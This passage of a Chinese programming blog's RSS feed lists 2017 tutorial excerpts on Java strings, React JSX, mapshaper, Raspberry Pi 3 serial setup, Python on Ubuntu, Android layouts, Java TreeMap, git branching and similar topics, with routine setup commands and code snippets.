前者首先在栈中创建一个引用型变量str1，然后查看栈中是否存在“abc”如果没有，则将“abc”存放进栈，并令引用变量str指向它；如果有，则直接令str1指向它；后者是java中标准的对象创建方式，其创建的对象将直接放置到堆中，每调用一次就会创建一个新的对象。&#xA;String str = “abc”+”def”; 这条语句创建对象个数？ 1个。 编译器会自己调用Stringbuilder的append方法来合成abcdef，最后只生成一个对象.&#xA;实际上，字符串直接量属于常量，在编译的时候已确定，两个常量相加，先检测栈内存中是否有”abcdef” 如有有，指向已有的栈中的”abcdef”空间，若没有，则创建。&#xA;package stringDemo; public class stringInitial { public static void main(String[] args) { String str1 = &#34;</description>
    </item>
    <item>
      <title>react——JSX语法</title>
      <link>https://bchobby.github.io/posts/4e11c41c4503651e78554def1d574241/</link>
      <pubDate>Fri, 03 Mar 2017 22:15:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e11c41c4503651e78554def1d574241/</guid>
      <description>&amp;lt;div id=&#34;example&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div id=&#34;example2&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div id=&#34;example3&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div id=&#34;example4&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div id=&#34;example5&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div id=&#34;example6&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div id=&#34;example7&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div id=&#34;example8&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;h1&amp;gt;react JSX&amp;lt;/h1&amp;gt; &amp;lt;p&amp;gt; react是使用JSX来代替常规的JavaScript；JSX看起来是一个很像XML的JavaScript语法拓展；我们不需要一定使用JSX， 但它有以下优点：JSX执行更快，因为在编译为JavaScript代码后进行了优化；他是类型安全的，在编译过程中就能发现错误； 使用JSX编写模块更加简单快速 。 &amp;lt;/p&amp;gt; &amp;lt;script type=&#34;text/babel&#34;&amp;gt; //JSX看起来类似和HTML，我们可以看下实例 ReactDOM.render( &amp;lt;h1&amp;gt;Hello,World!!&amp;lt;/h1&amp;gt;, document.getElementById(&#34;example&#34;) ) &amp;lt;/script&amp;gt; &amp;lt;p&amp;gt;我们可以在上一代码中嵌套多个HTML标签，需要使用一个div元素包裹他，实例中的p元素添加了自定义data-myattribute, 添加自定义属性需要使用data-前缀。&amp;lt;/p&amp;gt; &amp;lt;script type=&#34;text/babel&#34;&amp;gt; ReactDOM.render( &amp;lt;div&amp;gt; &amp;lt;h1&amp;gt;菜鸟教程&amp;lt;/h1&amp;gt; &amp;lt;h2&amp;gt;欢迎学习react&amp;lt;/h2&amp;gt; &amp;lt;p data-myattribute=&#34;somevalue&#34;&amp;gt;这是一个很不错的JavaScript框架&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt;, document.getElementById(&#34;example2&#34;) ); &amp;lt;/script&amp;gt; &amp;lt;p&amp;gt;当然也可以将以上代码放到一个独立的js中，不过type=&#34;text/babel&#34;&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;我们可以再JSX中使用JavaScript表达式，表达式写在花括号中&amp;lt;/p&amp;gt; &amp;lt;script type=&#34;text/babel&#34;&amp;gt; ReactDOM.render( &amp;lt;div&amp;gt; &amp;lt;h1&amp;gt;{ 25 +25 }&amp;lt;/h1&amp;gt; &amp;lt;/div&amp;gt;, document.getElementById(&#34;example3&#34;) ) &amp;lt;/script&amp;gt; &amp;lt;p&amp;gt;在JSX中不能使用if else语句，但可以使用conditional（三元运算）表达式来代替。&amp;lt;/p&amp;gt; &amp;lt;script type=&#34;text/babel&#34;&amp;gt; var i = 1; ReactDOM.render( &amp;lt;div&amp;gt; &amp;lt;h1&amp;gt;{ i == 1 ?</description>
    </item>
    <item>
      <title>MFC函数GetModuleFileName()：获得应用程序目录绝对路径</title>
      <link>https://bchobby.github.io/posts/c89dbe1e009e4ab8cc696bf77995c57b/</link>
      <pubDate>Wed, 01 Mar 2017 13:22:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c89dbe1e009e4ab8cc696bf77995c57b/</guid>
      <description>GetModuleFileName()得到模块的完整路径名，例如，你载入c:\windows\system32\a.dll，得到模块句柄h，则你可以用GetModuleFileName()得到h模块的完整路径名。&#xA;注：直接用LoadLibrary()或AfxLoadLibrary()载入dll，该函数返回值就是handle；如果你隐式载入dll, 用GetModuleHandle(&#34;dll文件名&#34;)也可以得到handle&#xA;DWORD GetModuleFileName( HMODULE hModule, // handle to module。将要得到的模块的句柄。如果是当前模块，NULL LPTSTR lpFilename, // path buffer 得到的文件名。 DWORD nSize // size of buffer 一般MAX_PATH就可以了</description>
    </item>
    <item>
      <title>mapshaper系列之四 - 编辑命令</title>
      <link>https://bchobby.github.io/posts/ca37d9456b58b4ee1b0e0eb7d2411700/</link>
      <pubDate>Tue, 28 Feb 2017 22:32:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca37d9456b58b4ee1b0e0eb7d2411700/</guid>
      <description>前面介绍了mapshaper的输入/输出命令，本节介绍mapshaper的核心内容：编辑命令。编辑命令有很多，下面一一介绍。&#xA;1. -clip&amp;lt;裁剪&amp;gt;&#xA;移除裁剪范围外的要素或部分要素。有如下参数：&#xA;source：数据源，通过裁剪多边形的文件名或图层id指定裁剪的多边形要素数据集；&#xA;bbox=&amp;lt;xmin,ymin,xmax,ymax&amp;gt;：通过bbox指定裁剪的范围，删除bbox范围外的要素或部分要素；&#xA;remove-slivers：移除由裁剪产生的极小长条形多边形；&#xA;其他可选项：name和target。&#xA;#示例: 使用land-area.shp裁剪usa_counties.shp mapshaper usa_counties.shp -clip land-area.shp -o 2. -dissolve&amp;lt;合并&amp;gt;&#xA;以指定的属性合并一组要素，若没有指定属性字段，则合并所有要素。对于多边形图层，-dissolve 在合并相邻多边形时会删除公共边界；对于点图层，-dissolve 合并后得到一组点的质心；-dissolve 不支持线图层。&#xA;&amp;lt;field&amp;gt; ：合并依赖的属性名称；&#xA;weight= ：（针对点图层）指定属性名称或JS表达代表各点在生成质心中的权重。例如，如下命令估算美国人口分布的质心：&#xA;mapshaper census_tracts.shp -points -dissolve weight=POPULATION planar：（针对点图层）在计算合并后的质心时，将十进制的度坐标当作平面直角坐标看待。默认情况下，mapshaper在3D空间中计算经纬度点的质心）； calc=：在合并后的图层中使用构建的JS函数来创建属性，详情参见下面的示例，也可参考 -calc支持的一系列函数；&#xA;sum-fields=：合并时求和的字段名称，多个用逗号分隔；&#xA;copy-fields=：合并时复制（保留）的字段，多个用逗号分开；字段值来源于待合并的一组要素中第一个要素的值；&#xA;其他可选项：name= 和 target=&#xA;# 示例:以属性STATE合并要素 mapshaper counties.shp -dissolve STATE -o states.shp # 示例: 以属性STATE合并要素，同时计数要素个数、总人口、最大人口和最小人口 mapshaper counties.shp -dissolve STATE calc=&#39;n = count(), total_pop = sum(POP), max_pop = max(POP), min_pop = min(POP)&#39; 3. -dissolve2&amp;lt;合并&amp;gt; 与dissolve类似，但可以用来合并相邻或重叠的多边形（考虑拓扑关系），若多边形不相交且数据量很大，使用dissolve。&#xA;4. -each</description>
    </item>
    <item>
      <title>浅尝树莓派3之串口配置</title>
      <link>https://bchobby.github.io/posts/2a491a9b89c5a6bcf6485378293e6daa/</link>
      <pubDate>Tue, 28 Feb 2017 20:19:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a491a9b89c5a6bcf6485378293e6daa/</guid>
      <description>树莓派3硬件串口的使用及编程 发表于 2017-01-29 | 分类于 树莓派 | 暂无评论 | 阅读次数 54 引言 本文转载自： http://etrd.org/2017/01/29/%E6%A0%91%E8%8E%93%E6%B4%BE3%E7%A1%AC%E4%BB%B6%E4%B8%B2%E5%8F%A3%E7%9A%84%E4%BD%BF%E7%94%A8%E5%8F%8A%E7%BC%96%E7%A8%8B/ 主要为了记录下来下次再配置时的方便。 通常学习一块新的硬件平台，大家第一个工程便是流水灯，实际上这属于IO口的基本控制，这与上篇文章VS使用wiringPi库控制树莓派的GPIO是异曲同工的，接下来便应该是开始使用其通信接口，而通信接口里面最简单的又属串口（uart），虽然简单但目前仍然有很多模块是以串口作为通信接口的，如一些蓝牙模块、低速wifi模块、GPS模块、GPRS模块等。树莓派3代与之前的树莓派相比除了CPU性能上的提升外，还有一个显著的特色便是板载集成了WIFI及蓝牙，正是由于集成的这个蓝牙模块，又使得树莓派3代的串口使用相比于之前版本有了些麻烦，本文的目的便是解决这些麻烦并编写验证了一个简单的串口代码。&#xA;树莓派3代串口的麻烦 树莓派从大的方向来说一共出了3代，每一代的CPU外设基本相同，但内核不同，外设里面一共包含两个串口，一个称之为硬件串口（/dev/ttyAMA0），一个称之为mini串口（/dev/ttyS0）。硬件串口由硬件实现，有单独的波特率时钟源，性能高、可靠，mini串口性能低，功能也简单，并且没有波特率专用的时钟源而是由CPU内核时钟提供，因此mini串口有个致命的弱点是：波特率受到内核时钟的影响。内核若在智能调整功耗降低主频时，相应的这个mini串口的波特率便受到牵连了，虽然你可以固定内核的时钟频率，但这显然不符合低碳、节能的口号。在所有的树莓派板卡中都通过排针将一个串口引出来了，目前除了树莓派3代以外 ，引出的串口默认是CPU的那个硬件串口。而在树莓派3代中，由于板载蓝牙模块，因此这个硬件串口被默认分配给与蓝牙模块通信了，而把那个mini串口默认分配给了排针引出的GPIO Tx Rx，下图是树莓派3的接口图&#xA;其中红框中就是引出的串口IO，如果我们需要通过UART外接模块，默认情况下必须得使用性能很低的mini串口了，而且随着内核主频的变化，还会造成波特率的变化导致通信的失败，几乎很难使用。所以我们希望恢复硬件串口与GPIO 14/15的映射关系，使得我们能够通过GPIO使用高性能的硬件串口来连接我们的串口设备。&#xA;将树莓派3的硬件串口与mini串口默认映射对换 树莓派可以配置文件来修改设备树，我的理解是可以通过配置文件来修改管脚的映射关系，这在许多Cortex-M3内核的单片机中也很常见，可以将同一个串口映射到不同的管脚上，以方便PCB的布线。&#xA;为了在树莓派3中通过GPIO使用高性能的硬件串口，我们必须将分配给蓝牙使用的硬件串口与分配给IO排针的mini串口进行对换，这必然会使得蓝牙模块的功能受到影响，但还好，蓝牙并不是必须的。&#xA;在树莓派系统中&#xA;1 /boot/overlays/ 目录下，提供了一个pi3-miniuart-bt-overlay.dtb的文件，这个文件的作用可以通过该目录下的README文件查看&#xA;如果没有pi3-miniuart-bt-overlay.dtb这个文件，点击 http://ukonline2000.com/wp-content/uploads/2016/03/ 下载&#xA;README文件中说明了这个文件的功能是将树莓派3的蓝牙切换到mini串口（ttyS0），并且恢复硬件串口（ttyAMA0）到GPIO 14&amp;amp;15脚中。并且给出了载入的方法。&#xA;首先在树莓派命令终端中通过命令查看树莓派3当前的串口映射关系&#xA;1 ls -l /dev 红色框中体现的应该是一种映射关系，此处暂时没有做深究，简单理解 serial0 就是GPIO映射的串口，此时GPIO映射的串口是默认的/dev/ttyS0这个mini串口。&#xA;使用下面这条指令编辑 /boot/config.txt 文件&#xA;1 sudo nano /boot/config.txt 在该文件中增加一行代码&#xA;1 dtoverlay=pi3-miniuart-bt 然后保存文件，重启树莓派使之生效。&#xA;再通过 ls -l /dev 命令查看修改后的映射关系&#xA;对比修改前的关系，可以看出serial0和serial1 与 ttyAMA0和ttyS0的映射关系对换完成了，也就是ttyAMA0映射到了引出的GPIO Tx Rx上。&#xA;禁用串口的控制台功能 前面的步骤已经交换了硬件串口与mini串口的映射关系，但现在想使用树莓派外接串口模块进行通信还不行，因为树莓派IO引出的串口默认是用来做控制台使用的，它的初衷是为了在没有网络接口时，通过串口对树莓派进行相关的配置。因此需要禁用这个默认功能，使得串口为我们自由使用。&#xA;在树莓派命令窗口中分别通过如下两个命令停止和禁用串口的控制台功能&#xA;1 2 sudo systemctl stop serial-getty@ttyAMA0.</description>
    </item>
    <item>
      <title>初学python：运行环境与第一行代码</title>
      <link>https://bchobby.github.io/posts/3ad2a5f5c9dbc3b9be4cd05c215052ad/</link>
      <pubDate>Tue, 28 Feb 2017 09:35:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ad2a5f5c9dbc3b9be4cd05c215052ad/</guid>
      <description>一、环境：在Ubuntu16.10自带python2.7.X; 安装一个代码编辑器notepadqq, 安装方法如下：&#xA;三条指令：&#xA;sudo add-apt-repository ppa:notepadqq-team/notepadqq sudo apt-get update sudo apt-get install notepadqq 变成界面是这样的： 不喜欢了就卸载它：&#xA;sudo apt-get remove notepadqq sudo add-apt-repository --remove ppa:notepadqq-team/notepadqq 为什么在linux下学习，因为我们知道python的一个极大的好处就是可以利用第三方库，有其实在学习机器学习和深度学习的时候，它会让你很轻松的利用这些第三方库（不做介绍了，网上一抓一大把） 二、第一个Python程序&#xA;在notepadqq中写：print(&#39;hello world&#39;) 保存为test.py.&#xA;在终端打开相应文件夹下，运行python test.py&#xA;C ++需要5行，python一行搞定，但是其缺点为：运行速度慢，不做解释了，了解有语言的都知道。</description>
    </item>
    <item>
      <title>Android ScrollView中嵌套ListView</title>
      <link>https://bchobby.github.io/posts/2e9418878e2fc65695092dc3ee93ab8b/</link>
      <pubDate>Thu, 23 Feb 2017 23:43:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e9418878e2fc65695092dc3ee93ab8b/</guid>
      <description>关于ScrollView嵌套ListView的 1（自定义）ListView可以通过重写onMeasure方法，将ListView的高度重新设置实现&#xA;public class ListViewForScrollView extends ListView { public ListViewForScrollView(Context context) { super(context); } public ListViewForScrollView(Context context, AttributeSet attrs) { super(context, attrs); } public ListViewForScrollView(Context context, AttributeSet attrs, int defStyle) { super(context, attrs, defStyle); } /** * 重写该方法，使ListView适应ScrollView的效果 */ @Override protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) { //mode共有三种情况，取值分别为MeasureSpec.UNSPECIFIED, MeasureSpec.EXACTLY, MeasureSpec.AT_MOST。 //MeasureSpec.EXACTLY是精确尺寸，当我们将控件的layout_width或layout_height指定为具体数值时如andorid:layout_width=&#34;50dip&#34;，或者为FILL_PARENT是，都是控件大小已经确定的情况，都是精确尺寸。 //MeasureSpec.AT_MOST是最大尺寸，当控件的layout_width或layout_height指定为WRAP_CONTENT时，控件大小一般随着控件的子空间或内容进行变化，此时控件尺寸只要不超过父控件允许的最大尺寸即可。因此，此时的mode是AT_MOST，size给出了父控件允许的最大尺寸。 //MeasureSpec.UNSPECIFIED是未指定尺寸，这种情况不多，一般都是父控件是AdapterView，通过measure方法传入的模式。 int expandSpec = MeasureSpec.makeMeasureSpec(Integer.MAX_VALUE &amp;gt;&amp;gt; 2, MeasureSpec.AT_MOST); super.onMeasure(widthMeasureSpec, expandSpec); } } 2 动态计算ListView的高度&#xA;public void setListViewHeightBasedOnChildren(ListView listView) { if(listView == null){ return; } ListAdapter listAdapter = listView.</description>
    </item>
    <item>
      <title>Unity3D 常见问题</title>
      <link>https://bchobby.github.io/posts/d15fcc3c12e049ebf6d01b3cdc1d319f/</link>
      <pubDate>Wed, 22 Feb 2017 17:08:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d15fcc3c12e049ebf6d01b3cdc1d319f/</guid>
      <description>1. error CS0103: The name `Analytics’ does not exist in the current context Result&#xA;2. 运行Editor模式下，频繁卡死 原因是在于运行Editor时Unity3D会频繁请求网络，而且还都是境外服务，所以会造成卡死。 Mac下使用Little snitch限制Unity3D的网络请求就可以了。&#xA;3. WWW Error: Cannot create FMOD::Sound instance for resource (null), (An invalid parameter was passed to this function. ) unable to determine the audio type from the url 在使用WWW时碰到如上问题，但是我的数据都是Json数据，并没有取AudioType等。&#xA;发生问题的原因是当GameObjec被SetActive(false)时，协程会被中断，进而导致WWW也被中断，从而出现异常。</description>
    </item>
    <item>
      <title>方法体执行完，线程会释放吗？</title>
      <link>https://bchobby.github.io/posts/7652494413b5595226007dee5c7d3398/</link>
      <pubDate>Wed, 22 Feb 2017 10:53:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7652494413b5595226007dee5c7d3398/</guid>
      <description>public class Application { public static void main(String[] args) throws Exception { //SpringApplication.run(Application.class, args); Application application = new Application(); for(int i=0; i&amp;lt;10000; i++){ Application.Sub sub = application.new Sub(); boolean value = sub.test(); System.out.println(&#34;end=&#34;+value); } } class Sub{ public Boolean test() throws Exception{ ExecutorService service = Executors.newFixedThreadPool(2); CompletionService&amp;lt;Boolean&amp;gt; completionService = new ExecutorCompletionService&amp;lt;Boolean&amp;gt;(service); try { for(int i=0; i&amp;lt;1; i++){ completionService.submit(new Callable&amp;lt;Boolean&amp;gt;() { @Override public Boolean call() throws Exception { Thread.sleep(100); //throw new NullPointerException(&#34;</description>
    </item>
    <item>
      <title>《机器学习实战》学习笔记之k-近邻算法3</title>
      <link>https://bchobby.github.io/posts/dcdd9eb076800e8715ee3a55e8a126b2/</link>
      <pubDate>Tue, 21 Feb 2017 16:09:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dcdd9eb076800e8715ee3a55e8a126b2/</guid>
      <description>2.3 手写识别系统&#xA;从os模块中导入listdir函数，用来读取给定目录中的文件名&#xA;from os import listdir关于zeros函数的使用， 代码及注释&#xA;#image convert to vector def img2vector(filename): returnVect = zeros((1,1024)) fr = open(filename) for i in range(32): lineStr=fr.readline() for j in range(32): returnVect[0,32*i+j] = int(lineStr[j]) return returnVect def handwritingClassTest(): hwLabels = [] trainingFileList = listdir(&#39;digits/trainingDigits&#39;) m = len(trainingFileList)#训练样本的个数 trainingMat = zeros((m,1024))#创建训练矩阵，每行有1024个元素，表示一个训练样本 for i in range(m): fileNameStr = trainingFileList[i]#第i个训练样本 fileStr = fileNameStr.split(&#39;.&#39;)[0] classNumStr = int(fileStr.split(&#39;_&#39;)[0])#样本命名的第一个数字表示实际的分类 hwLabels.append(classNumStr)#得到训练集的所有分类 trainingMat[i,:] = img2vector(&#39;digits/trainingDigits/%s&#39;%fileNameStr)#将所有样本转换成矩阵,得到训练样本集 testFileList = listdir(&#39;digits/testDigits&#39;) errorCount = 0.</description>
    </item>
    <item>
      <title>mapshaper系列之二 - mapshaper命令汇总</title>
      <link>https://bchobby.github.io/posts/94385e958bba0295b826ed3b527abdf3/</link>
      <pubDate>Mon, 20 Feb 2017 16:58:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/94385e958bba0295b826ed3b527abdf3/</guid>
      <description>Mapshaper的命令分为三类，下面简单介绍如下。&#xA;I/O命令 -i 输入一个或多个文件 -o 输出编辑后的内容 编辑命令 -clip &amp;lt;裁剪&amp;gt;移除裁剪范围外的要素或部分要素 -cluster &amp;lt;聚类&amp;gt;将多边形分成简洁的聚簇组 -dissolve &amp;lt;合并&amp;gt;合并多边形或点要素 -dissolve2 &amp;lt;合并&amp;gt;合并相邻或重叠的多边形（多多边形不想交且数据量大，可使用dissolve） -each 利用js表达式创建/更新/删除数据项 -erase &amp;lt;擦除&amp;gt;移除落在多边形范围内的要素或部分要素 -explode &amp;lt;打散&amp;gt;将图层中的每个多部件要素打散成几个独立部分的要素 -filter &amp;lt;过滤要素&amp;gt;通过条件过滤掉不满足条件的要素 -filter-fields &amp;lt;过滤字段&amp;gt;删除属性表中的字段（可指定保留的字段） -filter-islands &amp;lt;过滤孤岛/环&amp;gt;移除小的独立的环状多边形/孤岛 -filter-silvers &amp;lt;过滤面积&amp;gt; 通过面积过滤掉多边形小碎片 -graticule &amp;lt;格网&amp;gt;创建经度为0度、覆盖世界的网格图层 -linerlines &amp;lt;共享边界&amp;gt;创建由共享边界构成的线状图层（无属性） -join &amp;lt;连接&amp;gt; 将源图层或文件的属性数据连接到目标图层 -lines &amp;lt;边界&amp;gt; 将多边形转成有拓扑的边界 --merge-layers &amp;lt;融合&amp;gt; 将几个图层的多个要素融合到一个图层中 -point-grid 创建矩形网格点 -points &amp;lt;点要素&amp;gt; 从多边形或属性表创建点要素图层 -proj &amp;lt;投影&amp;gt; 利用proj4字符串或别名投影数据集 -rename-fields 重命名数据域 -rename-layers 重命名图层 -simplify &amp;lt;简化&amp;gt; 利用道格拉斯或其他两种方法对数据进行简化 -sort &amp;lt;排序&amp;gt; 利用js表达式对要素进行排序 -split &amp;lt;拆分&amp;gt; 基于属性值将目标层的数据拆分到多个输出层中，如果没有指定数据域，每个要素都将成为独立的图层 -slpit-on-grid &amp;lt;切块&amp;gt; 指定行列数将要素分割成独立的图层 -subdivide -svg-style 为svg格式输出和在web UI中的展现添加通用svg样式属性 -target 设置默认目标图层 -uniq &amp;lt;唯一化&amp;gt; 删除与前面要素id重复的要素 信息类命令 -calc &amp;lt;统计&amp;gt; 利用js表达式计算并展现数据表的基本描述性统计结果 -encodings 列出所有支持的文本编码格式 -help -h 帮助信息 -info 数据信息 -inspect 列出一条要素的属性信息 -projections 列出所有proj4支持的投影id和别名 -quiet 禁止控制台信息 -verbose 打印详细的信息，包括每个处理步骤的时间 -version 版本信息 以上是对命令的简单介绍，从中我们可以发现，Mapshaper基本上支持所有常用的数据处理操作。对于少量的数据处理，我们完全可以使用Mapshaper来代替大而全的ARCGIS Desktop。后面会陆续介绍每个命令的参数及使用示例。</description>
    </item>
    <item>
      <title>TreeMap实现原理深度分析</title>
      <link>https://bchobby.github.io/posts/60da03d0deb4a0b53005955126387d2f/</link>
      <pubDate>Sat, 18 Feb 2017 12:34:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60da03d0deb4a0b53005955126387d2f/</guid>
      <description>尊重作者的成果，本文大部分内容转自：http://cmsblogs.com/?p=1013（原文）；为方便学习注释使用而转载，文章内容或含义可能会因为本人进行理解性加注后与原文有出入，如需阅读原文请跳转。&#xA;TreeMap的实现是红黑树算法的实现，所以要了解TreeMap就必须对红黑树有一定的了解,通过这篇博文你可以获得如下知识点：&#xA;红黑树的基本概念。 红黑树增加节点、删除节点的实现过程。红黑树左旋转、右旋转的复杂过程。 Java中TreeMap是如何通过put、deleteEntry两个来实现红黑树增加、删除节点的。 我想通过这篇博文你对TreeMap一定有了更深的认识。好了，下面先简单普及红黑树知识。&#xA;一、 红黑树简介 红黑树又称红-黑二叉树，它首先是一颗二叉树，它具体二叉树所有的特性。同时红黑树更是一颗自平衡的排序二叉树。 我们知道一颗基本的二叉树他们都需要满足一个基本性质–即树中的任何节点的值大于它的左子节点，且小于它的右子节点。按照这个基本性质使得树的检索效率大大提高。我们知道在生成二叉树的过程是非常容易失衡的，最坏的情况就是一边倒（只有右/左子树），这样势必会导致二叉树的检索效率大大降低（O(n)），所以为了维持二叉树的平衡，大牛们提出了各种实现的算法，如：AVL，SBT，伸展树，TREAP，红黑树等等。 平衡二叉树必须具备如下特性：它是一棵空树或它的左右两个子树的高度差的绝对值不超过1，并且左右两个子树都是一棵平衡二叉树。也就是说该二叉树的任何一个等等子节点，其左右子树的高度都相近。 红黑树顾名思义就是节点是红色或者黑色的平衡二叉树，它通过颜色的约束来维持着二叉树的平衡。对于一棵有效的红黑树二叉树而言我们必须增加如下规则： 1、每个节点都只能是红色或者黑色 2、根节点是黑色 3、每个叶节点（NIL节点，空节点）是黑色的。 4、如果一个结点是红的，则它两个子节点都是黑的。也就是说在一条路径上不能出现相邻的两个红色结点。 5、从任一节点到其每个叶子的所有路径都包含相同数目的黑色节点。 这些约束强制了红黑树的关键性质: 从根到叶子的最长的可能路径不多于最短的可能路径的两倍长。结果是这棵树大致上是平衡的。因为操作比如插入、删除和查找某个值的最坏情况时间都要求与树的高度成比例，这个在高度上的理论上限允许红黑树在最坏情况下都是高效的，而不同于普通的二叉查找树。所以红黑树它是复杂而高效的，其检索效率O(logn)。下图为一颗典型的红黑二叉树。 对于红黑二叉树而言它主要包括三大基本操作：左旋、右旋、着色。 （图片来自： http://www.cnblogs.com/yangecnu/p/Introduce-Red-Black-Tree.html） 本节参考文献：http://baike.baidu.com/view/133754.htm?fr=aladdin—–百度百科 注：由于本文主要是讲解Java中TreeMap，所以并没有对红黑树进行非常深入的了解和研究，如果诸位想对其进行更加深入的研究Lz提供几篇较好的博文： 1、红黑树系列集锦 2、红黑树数据结构剖析 3、红黑树 二、 TreeMap数据结构 TreeMap的定义如下：&#xA;public class TreeMap&amp;lt;K,V&amp;gt; extends AbstractMap&amp;lt;K,V&amp;gt; implements NavigableMap&amp;lt;K,V&amp;gt;, Cloneable, java.io.Serializable TreeMap继承AbstractMap，实现NavigableMap、Cloneable、Serializable三个接口。其中AbstractMap表明TreeMap为一个Map即支持key-value的集合， NavigableMap（更多）则意味着它支持一系列的导航方法，具备针对给定搜索目标返回最接近匹配项的导航方法 。 TreeMap中同时也包含了如下几个重要的属性： //比较器，因为TreeMap是有序的，通过comparator接口我们可以对TreeMap的内部排序进行精密的控制 private final Comparator&amp;lt;? super K&amp;gt; comparator; //TreeMap红-黑节点，为TreeMap的内部类 private transient Entry&amp;lt;K,V&amp;gt; root = null; //容器大小 private transient int size = 0; //TreeMap修改次数 private transient int modCount = 0; //红黑树的节点颜色--红色 private static final boolean RED = false; //红黑树的节点颜色--黑色 private static final boolean BLACK = true; 对于叶子节点Entry是TreeMap的内部类，它有几个重要的属性：</description>
    </item>
    <item>
      <title>java创建Excel并下载至本地指定位置</title>
      <link>https://bchobby.github.io/posts/ad536b5f10b814cdaa7d22831cb03e80/</link>
      <pubDate>Fri, 17 Feb 2017 14:02:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad536b5f10b814cdaa7d22831cb03e80/</guid>
      <description>import org.apache.poi.hssf.usermodel.HSSFCell;&#xA;import org.apache.poi.hssf.usermodel.HSSFCellStyle;&#xA;import org.apache.poi.hssf.usermodel.HSSFFont;&#xA;import org.apache.poi.hssf.usermodel.HSSFRow;&#xA;import org.apache.poi.hssf.usermodel.HSSFSheet;&#xA;import org.apache.poi.hssf.usermodel.HSSFWorkbook;&#xA;import org.springframework.util.StringUtils;&#xA;import org.springframework.web.multipart.MultipartFile;&#xA;String[] tableHeader = { &#34;列1&#34;, &#34;列2&#34;};//指定列名&#xA;short cellNumber = (short) tableHeader.length;// 表的列数 HSSFWorkbook workbook = new HSSFWorkbook(); // 创建一个excel HSSFCell cell = null; // Excel的列 HSSFRow row = null; // Excel的行 HSSFCellStyle style = workbook.createCellStyle(); // 设置表头的类型 style.setAlignment(HSSFCellStyle.ALIGN_CENTER); HSSFCellStyle style1 = workbook.createCellStyle(); // 设置数据类型 style1.setAlignment(HSSFCellStyle.ALIGN_CENTER); HSSFFont font = workbook.createFont(); // 设置字体 HSSFSheet sheet = workbook.</description>
    </item>
    <item>
      <title>git 创建本地分支、提交到远程分支</title>
      <link>https://bchobby.github.io/posts/9ed0e78693fd2a0dceb90ac52b984d15/</link>
      <pubDate>Wed, 15 Feb 2017 11:52:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ed0e78693fd2a0dceb90ac52b984d15/</guid>
      <description>1、查看本地分支：&#xA;$ git branch master * mutilrecall 查看远程分支： $ git branch -a master * mutilrecall remotes/origin/master remotes/origin/mutilrecall 注：其中，remotes开头的代表是远程分支。 2、创建本地分支，并切换到分支：&#xA;$ git branch test kevinliu@TP-A1116-L MINGW64 /e/workspace_ttengine/ttengine (mutilrecall) $ git checkout test Switched to branch &#39;test&#39; 3、本地分支关联远程分支： 在本地test分支上修改了代码后，需要提交到远程，这时就需要关联远程的某个远程分支，操作如下：&#xA;1）本地提交：&#xA;git gui 2）push到远程 $ git push origin test:test Counting objects: 15, done. Delta compression using up to 4 threads. Compressing objects: 100% (9/9), done. Writing objects: 100% (15/15), 927 bytes | 0 bytes/s, done.</description>
    </item>
    <item>
      <title>C#数据库查询结果赋值给对象</title>
      <link>https://bchobby.github.io/posts/f57146b6a63de0809a716640fc85e7c8/</link>
      <pubDate>Tue, 14 Feb 2017 17:32:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f57146b6a63de0809a716640fc85e7c8/</guid>
      <description>类中的成员变量的定义 private int var{get;set;}&#xD;&amp;lt;param name=&#34;var_obj&#34;&amp;gt;需要赋值的对象&amp;lt;/param&amp;gt; &amp;lt;param name=&#34;var_dt&#34;&amp;gt;需要赋值的数据表&amp;lt;/param&amp;gt;&#xA;public static object DBObject(object var_obj, DataTable var_dt) { object obj= var_obj; DataTable dt = var_dt; Type type = typeof(User); System.Reflection.PropertyInfo[] minfos = type.GetProperties(); foreach (PropertyInfo minfo in minfos) { Console.WriteLine(&#34;item&#xD;&#34; + minfo.Name); } for (int i = 0; i &amp;lt; dt.Columns.Count; i++) { Console.WriteLine(dt.Columns[i].ColumnName.ToLower()); Console.WriteLine(dt.Rows[0][i].ToString()); var value = dt.Rows[0][i]; if (minfos[i].PropertyType == typeof(string)) { minfos[i].SetValue(obj,&#xD;value.ToString()); string ttt = minfos[i].GetValue(obj).ToString(); } if (minfos[i].</description>
    </item>
    <item>
      <title>Error:No service of type Factory&lt;LoggingManagerInternal&gt; available in ProjectScopeServices.</title>
      <link>https://bchobby.github.io/posts/d7603b6c96bc73088504d25f5116b661/</link>
      <pubDate>Mon, 13 Feb 2017 11:44:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7603b6c96bc73088504d25f5116b661/</guid>
